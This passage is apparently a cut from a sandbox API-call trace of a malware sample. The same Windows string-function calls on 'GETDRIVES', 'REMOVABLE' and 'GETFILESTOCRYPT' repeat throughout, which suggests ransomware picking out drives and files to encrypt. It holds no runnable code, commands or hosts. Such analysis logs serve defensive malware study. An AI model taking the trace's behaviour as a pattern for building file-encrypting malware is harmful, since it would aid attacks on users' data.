(in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.717] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.717] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.717] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.717] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.718] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.718] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.718] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.718] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.718] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.718] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.718] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.719] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.719] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.719] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.719] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.719] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.719] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.719] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.720] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.720] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.720] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.720] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.720] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.720] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.720] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.721] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.721] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.721] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.728] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.728] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.728] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.728] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.728] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.729] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.729] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.729] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.729] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.729] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.729] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.729] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.729] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.729] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.730] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.730] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.730] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.730] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.730] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.730] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.730] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.730] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.730] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.731] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.731] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.731] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.732] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.732] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.732] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.732] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.732] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.732] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.732] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.732] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.732] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.733] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.733] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.733] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.733] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.733] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.733] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.733] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.734] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.734] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.734] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.734] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.739] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.740] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.740] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.740] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.740] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.740] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.740] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.741] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.741] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.741] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.741] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.741] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.741] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.741] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.742] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.742] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.742] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.742] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.742] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.742] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.743] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.743] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.743] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.780] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.781] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.781] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.781] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.781] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.781] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.782] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.782] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.782] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.782] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.782] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.782] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.782] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.782] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.782] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.783] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.783] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.783] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.783] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.783] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.784] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.784] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.784] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.784] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.785] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.785] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.785] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.785] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.785] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.785] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.785] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.785] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.786] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.786] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.786] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.786] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.787] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.787] CharLowerBuffW (in: 